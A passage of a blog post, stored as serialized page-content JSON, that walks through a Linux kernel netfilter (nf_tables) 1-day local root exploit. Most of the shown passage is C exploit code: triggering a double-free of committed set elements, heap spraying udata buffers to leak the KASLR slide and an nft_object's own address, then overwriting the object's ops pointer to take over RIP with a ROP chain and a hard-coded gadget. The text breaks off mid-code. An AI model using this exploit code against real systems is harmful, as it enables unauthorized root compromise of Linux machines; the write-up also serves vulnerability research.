",{"type":22,"tag":118,"props":56930,"children":56931},{"style":210},[56932],{"type":28,"value":1407},{"type":22,"tag":118,"props":56934,"children":56935},{"style":125},[56936],{"type":28,"value":56645},{"type":22,"tag":118,"props":56938,"children":56939},{"class":120,"line":1028},[56940,56945,56949,56953,56957,56961],{"type":22,"tag":118,"props":56941,"children":56942},{"style":532},[56943],{"type":28,"value":56944},"    nftnl_set_elem_add",{"type":22,"tag":118,"props":56946,"children":56947},{"style":125},[56948],{"type":28,"value":56687},{"type":22,"tag":118,"props":56950,"children":56951},{"style":204},[56952],{"type":28,"value":54005},{"type":22,"tag":118,"props":56954,"children":56955},{"style":125},[56956],{"type":28,"value":5746},{"type":22,"tag":118,"props":56958,"children":56959},{"style":674},[56960],{"type":28,"value":19260},{"type":22,"tag":118,"props":56962,"children":56963},{"style":125},[56964],{"type":28,"value":5764},{"type":22,"tag":118,"props":56966,"children":56967},{"class":120,"line":1101},[56968],{"type":22,"tag":118,"props":56969,"children":56970},{"style":125},[56971],{"type":28,"value":12317},{"type":22,"tag":118,"props":56973,"children":56974},{"class":120,"line":1146},[56975],{"type":22,"tag":118,"props":56976,"children":56977},{"emptyLinePlaceholder":15},[56978],{"type":28,"value":250},{"type":22,"tag":118,"props":56980,"children":56981},{"class":120,"line":1226},[56982],{"type":22,"tag":118,"props":56983,"children":56984},{"style":125},[56985],{"type":28,"value":56986},"    // double-free commited elems\n",{"type":22,"tag":118,"props":56988,"children":56989},{"class":120,"line":1234},[56990],{"type":22,"tag":118,"props":56991,"children":56992},{"style":125},[56993],{"type":28,"value":12317},{"type":22,"tag":118,"props":56995,"children":56996},{"class":120,"line":1248},[56997,57002,57006],{"type":22,"tag":118,"props":56998,"children":56999},{"style":125},[57000],{"type":28,"value":57001},"    nftnl_set_free(",{"type":22,"tag":118,"props":57003,"children":57004},{"style":131},[57005],{"type":28,"value":52960},{"type":22,"tag":118,"props":57007,"children":57008},{"style":125},[57009],{"type":28,"value":682},{"type":22,"tag":118,"props":57011,"children":57012},{"class":120,"line":1257},[57013],{"type":22,"tag":118,"props":57014,"children":57015},{"style":125},[57016],{"type":28,"value":481},{"type":22,"tag":118,"props":57018,"children":57019},{"class":120,"line":25765},[57020],{"type":22,"tag":118,"props":57021,"children":57022},{"style":125},[57023],{"type":28,"value":12317},{"type":22,"tag":1289,"props":57025,"children":57027},{"id":57026},"leaking-kaslr",[57028],{"type":28,"value":57029},"Leaking KASLR",{"type":22,"tag":31,"props":57031,"children":57032},{},[57033,57035,57041,57043,57048,57050,57056,57058,57064,57066],{"type":28,"value":57034},"Tables contain an outline user data buffer ",{"type":22,"tag":114,"props":57036,"children":57038},{"className":57037},[],[57039],{"type":28,"value":57040},"udata",{"type":28,"value":57042}," that we can both read and write. By allocating a ",{"type":22,"tag":114,"props":57044,"children":57046},{"className":57045},[],[57047],{"type":28,"value":57040},{"type":28,"value":57049}," buffer on the double-free slot and then overlapping it with an ",{"type":22,"tag":114,"props":57051,"children":57053},{"className":57052},[],[57054],{"type":28,"value":57055},"nft_object",{"type":28,"value":57057}," we can leak the ",{"type":22,"tag":114,"props":57059,"children":57061},{"className":57060},[],[57062],{"type":28,"value":57063},"->ops",{"type":28,"value":57065}," pointer, and use it to calculate the KASLR slide.\n",{"type":22,"tag":5928,"props":57067,"children":57069},{"alt":52519,"src":57068},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":22,"tag":107,"props":57071,"children":57073},{"className":31048,"code":57072,"language":31050,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[57074],{"type":22,"tag":114,"props":57075,"children":57076},{"__ignoreMap":7},[57077,57084,57092,57127,57134,57142,57167,57194,57245,57252,57285,57311,57318,57382,57389,57410,57417,57424,57432,57440,57461,57490,57502,57546,57602],{"type":22,"tag":118,"props":57078,"children":57079},{"class":120,"line":121},[57080],{"type":22,"tag":118,"props":57081,"children":57082},{"style":125},[57083],{"type":28,"value":12317},{"type":22,"tag":118,"props":57085,"children":57086},{"class":120,"line":142},[57087],{"type":22,"tag":118,"props":57088,"children":57089},{"style":125},[57090],{"type":28,"value":57091},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":22,"tag":118,"props":57093,"children":57094},{"class":120,"line":177},[57095,57100,57104,57109,57114,57119,57123],{"type":22,"tag":118,"props":57096,"children":57097},{"style":125},[57098],{"type":28,"value":57099},"    udata_spray(",{"type":22,"tag":118,"props":57101,"children":57102},{"style":131},[57103],{"type":28,"value":56231},{"type":22,"tag":118,"props":57105,"children":57106},{"style":125},[57107],{"type":28,"value":57108},", 0",{"type":22,"tag":118,"props":57110,"children":57111},{"style":131},[57112],{"type":28,"value":57113},"xe8",{"type":22,"tag":118,"props":57115,"children":57116},{"style":125},[57117],{"type":28,"value":57118},", 0, 3, ",{"type":22,"tag":118,"props":57120,"children":57121},{"style":131},[57122],{"type":28,"value":56437},{"type":22,"tag":118,"props":57124,"children":57125},{"style":125},[57126],{"type":28,"value":682},{"type":22,"tag":118,"props":57128,"children":57129},{"class":120,"line":195},[57130],{"type":22,"tag":118,"props":57131,"children":57132},{"emptyLinePlaceholder":15},[57133],{"type":28,"value":250},{"type":22,"tag":118,"props":57135,"children":57136},{"class":120,"line":244},[57137],{"type":22,"tag":118,"props":57138,"children":57139},{"style":257},[57140],{"type":28,"value":57141},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":22,"tag":118,"props":57143,"children":57144},{"class":120,"line":253},[57145,57150,57155,57159,57163],{"type":22,"tag":118,"props":57146,"children":57147},{"style":146},[57148],{"type":28,"value":57149},"    char",{"type":22,"tag":118,"props":57151,"children":57152},{"style":204},[57153],{"type":28,"value":57154}," spray_name",{"type":22,"tag":118,"props":57156,"children":57157},{"style":125},[57158],{"type":28,"value":5746},{"type":22,"tag":118,"props":57160,"children":57161},{"style":674},[57162],{"type":28,"value":42786},{"type":22,"tag":118,"props":57164,"children":57165},{"style":125},[57166],{"type":28,"value":33513},{"type":22,"tag":118,"props":57168,"children":57169},{"class":120,"line":263},[57170,57174,57178,57182,57186,57190],{"type":22,"tag":118,"props":57171,"children":57172},{"style":146},[57173],{"type":28,"value":57149},{"type":22,"tag":118,"props":57175,"children":57176},{"style":210},[57177],{"type":28,"value":11815},{"type":22,"tag":118,"props":57179,"children":57180},{"style":204},[57181],{"type":28,"value":57040},{"type":22,"tag":118,"props":57183,"children":57184},{"style":125},[57185],{"type":28,"value":5746},{"type":22,"tag":118,"props":57187,"children":57188},{"style":674},[57189],{"type":28,"value":19260},{"type":22,"tag":118,"props":57191,"children":57192},{"style":125},[57193],{"type":28,"value":33513},{"type":22,"tag":118,"props":57195,"children":57196},{"class":120,"line":318},[57197,57201,57205,57209,57213,57217,57221,57225,57229,57233,57237,57241],{"type":22,"tag":118,"props":57198,"children":57199},{"style":1480},[57200],{"type":28,"value":5059},{"type":22,"tag":118,"props":57202,"children":57203},{"style":125},[57204],{"type":28,"value":842},{"type":22,"tag":118,"props":57206,"children":57207},{"style":146},[57208],{"type":28,"value":21014},{"type":22,"tag":118,"props":57210,"children":57211},{"style":125},[57212],{"type":28,"value":56485},{"type":22,"tag":118,"props":57214,"children":57215},{"style":210},[57216],{"type":28,"value":282},{"type":22,"tag":118,"props":57218,"children":57219},{"style":674},[57220],{"type":28,"value":5074},{"type":22,"tag":118,"props":57222,"children":57223},{"style":125},[57224],{"type":28,"value":53174},{"type":22,"tag":118,"props":57226,"children":57227},{"style":210},[57228],{"type":28,"value":559},{"type":22,"tag":118,"props":57230,"children":57231},{"style":674},[57232],{"type":28,"value":21066},{"type":22,"tag":118,"props":57234,"children":57235},{"style":125},[57236],{"type":28,"value":53205},{"type":22,"tag":118,"props":57238,"children":57239},{"style":210},[57240],{"type":28,"value":53210},{"type":22,"tag":118,"props":57242,"children":57243},{"style":125},[57244],{"type":28,"value":3665},{"type":22,"tag":118,"props":57246,"children":57247},{"class":120,"line":351},[57248],{"type":22,"tag":118,"props":57249,"children":57250},{"style":125},[57251],{"type":28,"value":31125},{"type":22,"tag":118,"props":57253,"children":57254},{"class":120,"line":359},[57255,57260,57265,57270,57275,57280],{"type":22,"tag":118,"props":57256,"children":57257},{"style":532},[57258],{"type":28,"value":57259},"        snprintf",{"type":22,"tag":118,"props":57261,"children":57262},{"style":125},[57263],{"type":28,"value":57264},"(spray_name, ",{"type":22,"tag":118,"props":57266,"children":57267},{"style":146},[57268],{"type":28,"value":57269},"sizeof",{"type":22,"tag":118,"props":57271,"children":57272},{"style":125},[57273],{"type":28,"value":57274},"(spray_name), ",{"type":22,"tag":118,"props":57276,"children":57277},{"style":1866},[57278],{"type":28,"value":57279},"\"spray-%i\"",{"type":22,"tag":118,"props":57281,"children":57282},{"style":125},[57283],{"type":28,"value":57284},", i);\n",{"type":22,"tag":118,"props":57286,"children":57287},{"class":120,"line":368},[57288,57293,57297,57301,57306],{"type":22,"tag":118,"props":57289,"children":57290},{"style":204},[57291],{"type":28,"value":57292},"        udata",{"type":22,"tag":118,"props":57294,"children":57295},{"style":125},[57296],{"type":28,"value":56537},{"type":22,"tag":118,"props":57298,"children":57299},{"style":210},[57300],{"type":28,"value":282},{"type":22,"tag":118,"props":57302,"children":57303},{"style":532},[57304],{"type":28,"value":57305}," getudata",{"type":22,"tag":118,"props":57307,"children":57308},{"style":125},[57309],{"type":28,"value":57310},"(nl, spray_name);\n",{"type":22,"tag":118,"props":57312,"children":57313},{"class":120,"line":384},[57314],{"type":22,"tag":118,"props":57315,"children":57316},{"style":125},[57317],{"type":28,"value":1254},{"type":22,"tag":118,"props":57319,"children":57320},{"class":120,"line":417},[57321,57325,57329,57333,57337,57341,57345,57349,57353,57357,57362,57366,57370,57374,57378],{"type":22,"tag":118,"props":57322,"children":57323},{"style":1480},[57324],{"type":28,"value":2159},{"type":22,"tag":118,"props":57326,"children":57327},{"style":125},[57328],{"type":28,"value":842},{"type":22,"tag":118,"props":57330,"children":57331},{"style":204},[57332],{"type":28,"value":57040},{"type":22,"tag":118,"props":57334,"children":57335},{"style":125},[57336],{"type":28,"value":5746},{"type":22,"tag":118,"props":57338,"children":57339},{"style":674},[57340],{"type":28,"value":6036},{"type":22,"tag":118,"props":57342,"children":57343},{"style":125},[57344],{"type":28,"value":50898},{"type":22,"tag":118,"props":57346,"children":57347},{"style":674},[57348],{"type":28,"value":6036},{"type":22,"tag":118,"props":57350,"children":57351},{"style":125},[57352],{"type":28,"value":10663},{"type":22,"tag":118,"props":57354,"children":57355},{"style":210},[57356],{"type":28,"value":302},{"type":22,"tag":118,"props":57358,"children":57359},{"style":204},[57360],{"type":28,"value":57361}," udata",{"type":22,"tag":118,"props":57363,"children":57364},{"style":125},[57365],{"type":28,"value":5746},{"type":22,"tag":118,"props":57367,"children":57368},{"style":674},[57369],{"type":28,"value":5147},{"type":22,"tag":118,"props":57371,"children":57372},{"style":125},[57373],{"type":28,"value":50898},{"type":22,"tag":118,"props":57375,"children":57376},{"style":674},[57377],{"type":28,"value":6036},{"type":22,"tag":118,"props":57379,"children":57380},{"style":125},[57381],{"type":28,"value":3720},{"type":22,"tag":118,"props":57383,"children":57384},{"class":120,"line":425},[57385],{"type":22,"tag":118,"props":57386,"children":57387},{"style":125},[57388],{"type":28,"value":31125},{"type":22,"tag":118,"props":57390,"children":57391},{"class":120,"line":441},[57392,57397,57401,57406],{"type":22,"tag":118,"props":57393,"children":57394},{"style":532},[57395],{"type":28,"value":57396},"        puts",{"type":22,"tag":118,"props":57398,"children":57399},{"style":125},[57400],{"type":28,"value":540},{"type":22,"tag":118,"props":57402,"children":57403},{"style":1866},[57404],{"type":28,"value":57405},"\"[+] got duplicated table\"",{"type":22,"tag":118,"props":57407,"children":57408},{"style":125},[57409],{"type":28,"value":682},{"type":22,"tag":118,"props":57411,"children":57412},{"class":120,"line":475},[57413],{"type":22,"tag":118,"props":57414,"children":57415},{"style":125},[57416],{"type":28,"value":1254},{"type":22,"tag":118,"props":57418,"children":57419},{"class":120,"line":484},[57420],{"type":22,"tag":118,"props":57421,"children":57422},{"emptyLinePlaceholder":15},[57423],{"type":28,"value":250},{"type":22,"tag":118,"props":57425,"children":57426},{"class":120,"line":492},[57427],{"type":22,"tag":118,"props":57428,"children":57429},{"style":257},[57430],{"type":28,"value":57431},"    // Replace one of the udata buffers with nft_object\n",{"type":22,"tag":118,"props":57433,"children":57434},{"class":120,"line":501},[57435],{"type":22,"tag":118,"props":57436,"children":57437},{"style":257},[57438],{"type":28,"value":57439},"    // and read it's counterpart to leak the nft_object struct\n",{"type":22,"tag":118,"props":57441,"children":57442},{"class":120,"line":519},[57443,57448,57452,57457],{"type":22,"tag":118,"props":57444,"children":57445},{"style":532},[57446],{"type":28,"value":57447},"    puts",{"type":22,"tag":118,"props":57449,"children":57450},{"style":125},[57451],{"type":28,"value":540},{"type":22,"tag":118,"props":57453,"children":57454},{"style":1866},[57455],{"type":28,"value":57456},"\"[*] Info leak\"",{"type":22,"tag":118,"props":57458,"children":57459},{"style":125},[57460],{"type":28,"value":682},{"type":22,"tag":118,"props":57462,"children":57463},{"class":120,"line":606},[57464,57469,57474,57478,57482,57486],{"type":22,"tag":118,"props":57465,"children":57466},{"style":532},[57467],{"type":28,"value":57468},"    deludata_spray",{"type":22,"tag":118,"props":57470,"children":57471},{"style":125},[57472],{"type":28,"value":57473},"(nl, ",{"type":22,"tag":118,"props":57475,"children":57476},{"style":674},[57477],{"type":28,"value":6036},{"type":22,"tag":118,"props":57479,"children":57480},{"style":125},[57481],{"type":28,"value":231},{"type":22,"tag":118,"props":57483,"children":57484},{"style":674},[57485],{"type":28,"value":6026},{"type":22,"tag":118,"props":57487,"children":57488},{"style":125},[57489],{"type":28,"value":682},{"type":22,"tag":118,"props":57491,"children":57492},{"class":120,"line":615},[57493,57498],{"type":22,"tag":118,"props":57494,"children":57495},{"style":532},[57496],{"type":28,"value":57497},"    wait_destroyer",{"type":22,"tag":118,"props":57499,"children":57500},{"style":125},[57501],{"type":28,"value":1098},{"type":22,"tag":118,"props":57503,"children":57504},{"class":120,"line":685},[57505,57510,57514,57518,57522,57526,57530,57534,57538,57542],{"type":22,"tag":118,"props":57506,"children":57507},{"style":532},[57508],{"type":28,"value":57509},"    obj_spray",{"type":22,"tag":118,"props":57511,"children":57512},{"style":125},[57513],{"type":28,"value":57473},{"type":22,"tag":118,"props":57515,"children":57516},{"style":674},[57517],{"type":28,"value":6036},{"type":22,"tag":118,"props":57519,"children":57520},{"style":125},[57521],{"type":28,"value":231},{"type":22,"tag":118,"props":57523,"children":57524},{"style":674},[57525],{"type":28,"value":6026},{"type":22,"tag":118,"props":57527,"children":57528},{"style":125},[57529],{"type":28,"value":231},{"type":22,"tag":118,"props":57531,"children":57532},{"style":146},[57533],{"type":28,"value":56437},{"type":22,"tag":118,"props":57535,"children":57536},{"style":125},[57537],{"type":28,"value":231},{"type":22,"tag":118,"props":57539,"children":57540},{"style":674},[57541],{"type":28,"value":6036},{"type":22,"tag":118,"props":57543,"children":57544},{"style":125},[57545],{"type":28,"value":682},{"type":22,"tag":118,"props":57547,"children":57548},{"class":120,"line":699},[57549,57554,57558,57563,57567,57571,57576,57580,57584,57589,57593,57598],{"type":22,"tag":118,"props":57550,"children":57551},{"style":146},[57552],{"type":28,"value":57553},"    uint64_t",{"type":22,"tag":118,"props":57555,"children":57556},{"style":210},[57557],{"type":28,"value":11815},{"type":22,"tag":118,"props":57559,"children":57560},{"style":125},[57561],{"type":28,"value":57562},"fake_obj ",{"type":22,"tag":118,"props":57564,"children":57565},{"style":210},[57566],{"type":28,"value":282},{"type":22,"tag":118,"props":57568,"children":57569},{"style":125},[57570],{"type":28,"value":842},{"type":22,"tag":118,"props":57572,"children":57573},{"style":146},[57574],{"type":28,"value":57575},"uint64_t",{"type":22,"tag":118,"props":57577,"children":57578},{"style":210},[57579],{"type":28,"value":11815},{"type":22,"tag":118,"props":57581,"children":57582},{"style":125},[57583],{"type":28,"value":3627},{"type":22,"tag":118,"props":57585,"children":57586},{"style":532},[57587],{"type":28,"value":57588},"getudata",{"type":22,"tag":118,"props":57590,"children":57591},{"style":125},[57592],{"type":28,"value":57473},{"type":22,"tag":118,"props":57594,"children":57595},{"style":1866},[57596],{"type":28,"value":57597},"\"spray-2\"",{"type":22,"tag":118,"props":57599,"children":57600},{"style":125},[57601],{"type":28,"value":682},{"type":22,"tag":118,"props":57603,"children":57604},{"class":120,"line":729},[57605],{"type":22,"tag":118,"props":57606,"children":57607},{"style":125},[57608],{"type":28,"value":12317},{"type":22,"tag":1289,"props":57610,"children":57612},{"id":57611},"leaking-self-pointer-of-nft_object",[57613,57615],{"type":28,"value":57614},"Leaking self pointer of ",{"type":22,"tag":114,"props":57616,"children":57618},{"className":57617},[],[57619],{"type":28,"value":57055},{"type":22,"tag":31,"props":57621,"children":57622},{},[57623,57625,57630,57632,57637,57639,57644,57646,57652],{"type":28,"value":57624},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":22,"tag":114,"props":57626,"children":57628},{"className":57627},[],[57629],{"type":28,"value":57055},{"type":28,"value":57631}," to get its own address. This is possible because the ",{"type":22,"tag":114,"props":57633,"children":57635},{"className":57634},[],[57636],{"type":28,"value":57055},{"type":28,"value":57638}," has a ",{"type":22,"tag":114,"props":57640,"children":57642},{"className":57641},[],[57643],{"type":28,"value":57040},{"type":28,"value":57645}," pointer (similar to ",{"type":22,"tag":114,"props":57647,"children":57649},{"className":57648},[],[57650],{"type":28,"value":57651},"table->udata",{"type":28,"value":57653}," that I used for leaking KASLR), that I can use to read/write data.",{"type":22,"tag":31,"props":57655,"children":57656},{},[57657,57658,57663,57665,57671,57673,57678,57680,57686,57688,57694,57696,57701,57703,57708,57710,57715,57717],{"type":28,"value":2743},{"type":22,"tag":114,"props":57659,"children":57661},{"className":57660},[],[57662],{"type":28,"value":57055},{"type":28,"value":57664}," struct also contains a ",{"type":22,"tag":114,"props":57666,"children":57668},{"className":57667},[],[57669],{"type":28,"value":57670},"list_head",{"type":28,"value":57672}," inserted in a circular list containing all ",{"type":22,"tag":114,"props":57674,"children":57676},{"className":57675},[],[57677],{"type":28,"value":57055},{"type":28,"value":57679},"'s that belong to a given ",{"type":22,"tag":114,"props":57681,"children":57683},{"className":57682},[],[57684],{"type":28,"value":57685},"table",{"type":28,"value":57687},". Considering that our object is currently alone in its table, the ",{"type":22,"tag":114,"props":57689,"children":57691},{"className":57690},[],[57692],{"type":28,"value":57693},"table->list.next",{"type":28,"value":57695}," pointer in the ",{"type":22,"tag":114,"props":57697,"children":57699},{"className":57698},[],[57700],{"type":28,"value":57055},{"type":28,"value":57702}," will point back to the ",{"type":22,"tag":114,"props":57704,"children":57706},{"className":57705},[],[57707],{"type":28,"value":57670},{"type":28,"value":57709}," contained in the ",{"type":22,"tag":114,"props":57711,"children":57713},{"className":57712},[],[57714],{"type":28,"value":57685},{"type":28,"value":57716}," and vice-versa.\n",{"type":22,"tag":5928,"props":57718,"children":57720},{"alt":52519,"src":57719},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":22,"tag":31,"props":57722,"children":57723},{},[57724,57726,57731,57733,57738,57740,57746,57748,57753,57754,57759,57761,57766,57768,57773],{"type":28,"value":57725},"In short, that means that if we swap the ",{"type":22,"tag":114,"props":57727,"children":57729},{"className":57728},[],[57730],{"type":28,"value":57040},{"type":28,"value":57732}," pointer of the ",{"type":22,"tag":114,"props":57734,"children":57736},{"className":57735},[],[57737],{"type":28,"value":57055},{"type":28,"value":57739}," with its own ",{"type":22,"tag":114,"props":57741,"children":57743},{"className":57742},[],[57744],{"type":28,"value":57745},"list.next",{"type":28,"value":57747}," pointer we should be able to read a pointer back to the ",{"type":22,"tag":114,"props":57749,"children":57751},{"className":57750},[],[57752],{"type":28,"value":57055},{"type":28,"value":54280},{"type":22,"tag":114,"props":57755,"children":57757},{"className":57756},[],[57758],{"type":28,"value":57670},{"type":28,"value":57760}," which is also the start of the ",{"type":22,"tag":114,"props":57762,"children":57764},{"className":57763},[],[57765],{"type":28,"value":57055},{"type":28,"value":57767}," itself.\n",{"type":22,"tag":74,"props":57769,"children":57770},{},[57771],{"type":28,"value":57772},"NOTE:",{"type":28,"value":57774}," This is a novel small trick.",{"type":22,"tag":107,"props":57776,"children":57778},{"className":31048,"code":57777,"language":31050,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[57779],{"type":22,"tag":114,"props":57780,"children":57781},{"__ignoreMap":7},[57782,57789,57797,57810,57858,57885,57896,57934,57941,57970,58000],{"type":22,"tag":118,"props":57783,"children":57784},{"class":120,"line":121},[57785],{"type":22,"tag":118,"props":57786,"children":57787},{"style":125},[57788],{"type":28,"value":12317},{"type":22,"tag":118,"props":57790,"children":57791},{"class":120,"line":142},[57792],{"type":22,"tag":118,"props":57793,"children":57794},{"style":125},[57795],{"type":28,"value":57796},"    // Leak nft_object ptr using table linked list\n",{"type":22,"tag":118,"props":57798,"children":57799},{"class":120,"line":177},[57800,57805],{"type":22,"tag":118,"props":57801,"children":57802},{"style":125},[57803],{"type":28,"value":57804},"    fake_obj[8] = 8;",{"type":22,"tag":118,"props":57806,"children":57807},{"style":257},[57808],{"type":28,"value":57809},"           // ulen = 8\n",{"type":22,"tag":118,"props":57811,"children":57812},{"class":120,"line":195},[57813,57818,57822,57827,57831,57835,57840,57844,57848,57853],{"type":22,"tag":118,"props":57814,"children":57815},{"style":204},[57816],{"type":28,"value":57817},"    fake_obj",{"type":22,"tag":118,"props":57819,"children":57820},{"style":125},[57821],{"type":28,"value":5746},{"type":22,"tag":118,"props":57823,"children":57824},{"style":674},[57825],{"type":28,"value":57826},"9",{"type":22,"tag":118,"props":57828,"children":57829},{"style":125},[57830],{"type":28,"value":10663},{"type":22,"tag":118,"props":57832,"children":57833},{"style":210},[57834],{"type":28,"value":282},{"type":22,"tag":118,"props":57836,"children":57837},{"style":204},[57838],{"type":28,"value":57839}," fake_obj",{"type":22,"tag":118,"props":57841,"children":57842},{"style":125},[57843],{"type":28,"value":5746},{"type":22,"tag":118,"props":57845,"children":57846},{"style":674},[57847],{"type":28,"value":6036},{"type":22,"tag":118,"props":57849,"children":57850},{"style":125},[57851],{"type":28,"value":57852},"];",{"type":22,"tag":118,"props":57854,"children":57855},{"style":257},[57856],{"type":28,"value":57857}," // udata = list->next\n",{"type":22,"tag":118,"props":57859,"children":57860},{"class":120,"line":244},[57861,57865,57869,57873,57877,57881],{"type":22,"tag":118,"props":57862,"children":57863},{"style":532},[57864],{"type":28,"value":57468},{"type":22,"tag":118,"props":57866,"children":57867},{"style":125},[57868],{"type":28,"value":57473},{"type":22,"tag":118,"props":57870,"children":57871},{"style":674},[57872],{"type":28,"value":5147},{"type":22,"tag":118,"props":57874,"children":57875},{"style":125},[57876],{"type":28,"value":231},{"type":22,"tag":118,"props":57878,"children":57879},{"style":674},[57880],{"type":28,"value":6026},{"type":22,"tag":118,"props":57882,"children":57883},{"style":125},[57884],{"type":28,"value":682},{"type":22,"tag":118,"props":57886,"children":57887},{"class":120,"line":253},[57888,57892],{"type":22,"tag":118,"props":57889,"children":57890},{"style":532},[57891],{"type":28,"value":57497},{"type":22,"tag":118,"props":57893,"children":57894},{"style":125},[57895],{"type":28,"value":1098},{"type":22,"tag":118,"props":57897,"children":57898},{"class":120,"line":263},[57899,57904,57908,57913,57917,57921,57925,57929],{"type":22,"tag":118,"props":57900,"children":57901},{"style":532},[57902],{"type":28,"value":57903},"    udata_spray",{"type":22,"tag":118,"props":57905,"children":57906},{"style":125},[57907],{"type":28,"value":57473},{"type":22,"tag":118,"props":57909,"children":57910},{"style":674},[57911],{"type":28,"value":57912},"0xe8",{"type":22,"tag":118,"props":57914,"children":57915},{"style":125},[57916],{"type":28,"value":231},{"type":22,"tag":118,"props":57918,"children":57919},{"style":674},[57920],{"type":28,"value":19260},{"type":22,"tag":118,"props":57922,"children":57923},{"style":125},[57924],{"type":28,"value":231},{"type":22,"tag":118,"props":57926,"children":57927},{"style":674},[57928],{"type":28,"value":6026},{"type":22,"tag":118,"props":57930,"children":57931},{"style":125},[57932],{"type":28,"value":57933},", fake_obj);\n",{"type":22,"tag":118,"props":57935,"children":57936},{"class":120,"line":318},[57937],{"type":22,"tag":118,"props":57938,"children":57939},{"emptyLinePlaceholder":15},[57940],{"type":28,"value":250},{"type":22,"tag":118,"props":57942,"children":57943},{"class":120,"line":351},[57944,57949,57953,57958,57962,57966],{"type":22,"tag":118,"props":57945,"children":57946},{"style":532},[57947],{"type":28,"value":57948},"    get_obj",{"type":22,"tag":118,"props":57950,"children":57951},{"style":125},[57952],{"type":28,"value":57473},{"type":22,"tag":118,"props":57954,"children":57955},{"style":1866},[57956],{"type":28,"value":57957},"\"spray-0\"",{"type":22,"tag":118,"props":57959,"children":57960},{"style":125},[57961],{"type":28,"value":231},{"type":22,"tag":118,"props":57963,"children":57964},{"style":146},[57965],{"type":28,"value":6007},{"type":22,"tag":118,"props":57967,"children":57968},{"style":125},[57969],{"type":28,"value":682},{"type":22,"tag":118,"props":57971,"children":57972},{"class":120,"line":359},[57973,57978,57982,57987,57991,57995],{"type":22,"tag":118,"props":57974,"children":57975},{"style":532},[57976],{"type":28,"value":57977},"    printf",{"type":22,"tag":118,"props":57979,"children":57980},{"style":125},[57981],{"type":28,"value":540},{"type":22,"tag":118,"props":57983,"children":57984},{"style":1866},[57985],{"type":28,"value":57986},"\"[*] nft_object ptr: 0x%lx",{"type":22,"tag":118,"props":57988,"children":57989},{"style":50313},[57990],{"type":28,"value":50316},{"type":22,"tag":118,"props":57992,"children":57993},{"style":1866},[57994],{"type":28,"value":22027},{"type":22,"tag":118,"props":57996,"children":57997},{"style":125},[57998],{"type":28,"value":57999},", obj_ptr);\n",{"type":22,"tag":118,"props":58001,"children":58002},{"class":120,"line":368},[58003],{"type":22,"tag":118,"props":58004,"children":58005},{"style":125},[58006],{"type":28,"value":12317},{"type":22,"tag":1289,"props":58008,"children":58010},{"id":58009},"hijacking-control-flow",[58011],{"type":28,"value":58012},"Hijacking control-flow",{"type":22,"tag":31,"props":58014,"children":58015},{},[58016,58018,58023,58025,58030,58032,58037,58039,58044,58046,58051,58053],{"type":28,"value":58017},"To hijack control-flow, we can use ",{"type":22,"tag":114,"props":58019,"children":58021},{"className":58020},[],[58022],{"type":28,"value":57055},{"type":28,"value":58024}," once again. The ",{"type":22,"tag":114,"props":58026,"children":58028},{"className":58027},[],[58029],{"type":28,"value":57055},{"type":28,"value":58031}," struct has an ",{"type":22,"tag":114,"props":58033,"children":58035},{"className":58034},[],[58036],{"type":28,"value":54611},{"type":28,"value":58038}," pointer to a function pointer table. We can swap the ",{"type":22,"tag":114,"props":58040,"children":58042},{"className":58041},[],[58043],{"type":28,"value":54611},{"type":28,"value":58045}," pointer with the ",{"type":22,"tag":114,"props":58047,"children":58049},{"className":58048},[],[58050],{"type":28,"value":57040},{"type":28,"value":58052}," pointer, taking control of the pointer table.\n",{"type":22,"tag":5928,"props":58054,"children":58056},{"alt":52519,"src":58055},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":22,"tag":107,"props":58058,"children":58060},{"className":31048,"code":58059,"language":31050,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, 